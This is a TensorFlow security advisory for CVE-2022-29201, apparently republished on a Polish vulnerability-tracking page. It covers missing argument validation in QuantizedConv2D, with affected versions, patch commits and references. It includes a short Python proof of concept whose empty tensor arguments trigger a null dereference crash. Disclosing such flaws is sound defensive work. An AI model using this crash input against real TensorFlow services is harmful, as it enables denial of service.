Missing validation results in undefined behavior in `QuantizedConv2D`
Impact
The implementation of tf.raw_ops.QuantizedConv2D does not fully validate the input arguments:
import tensorflow as tf
input = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8)
filter = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8)
# bad args
min_input = tf.constant([], shape=[0], dtype=tf.float32)
max_input = tf.constant(0, shape=[], dtype=tf.float32)
min_filter = tf.constant(0, shape=[], dtype=tf.float32)
max_filter = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw_ops.QuantizedConv2D(
input=input,
filter=filter,
min_input=min_input,
max_input=max_input,
min_filter=min_filter,
max_filter=max_filter,
strides=[1, 1, 1, 1],
padding="SAME")In this case, references get bound to nullptr for each argument that is empty (in the example, all arguments in the bad args section).
Patches
We have patched the issue in GitHub commit 0f0b080ecde4d3dfec158d6f60da34d5e31693c4.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
Czego dotyczy
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| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 | 2.6.4, 2.7.2, 2.8.1 |
| Python (PyPI) | tensorflow-cpu | < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 | 2.6.4, 2.7.2, 2.8.1 |
| Python (PyPI) | tensorflow-gpu | < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 | 2.6.4, 2.7.2, 2.8.1 |
Odnośniki
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pqhm-4wvf-2jg8
- https://nvd.nist.gov/vuln/detail/CVE-2022-29201
- https://github.com/tensorflow/tensorflow/commit/0f0b080ecde4d3dfec158d6f60da34d5e31693c4
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantized_conv_ops.cc
- https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4
- https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2
- https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1
- https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0
- https://pypi.org/project/tensorflow-gpu
- https://github.com/advisories/GHSA-pqhm-4wvf-2jg8
- https://pypi.org/project/tensorflow
- https://pypi.org/project/tensorflow-cpu
- Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H- Słabość (CWE)
CWE-20, CWE-476- Platforma
- Python (PyPI)
- Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu- Ujawniono
- 24.05.2022
- Aktualizacja
- 11.10.2026 14:17
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-1026 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3224 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-pqhm-4wvf-2jg8 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3358 - PyPA Advisory Database; CC BY 4.0
Historia podatności: tensorflow-gpu
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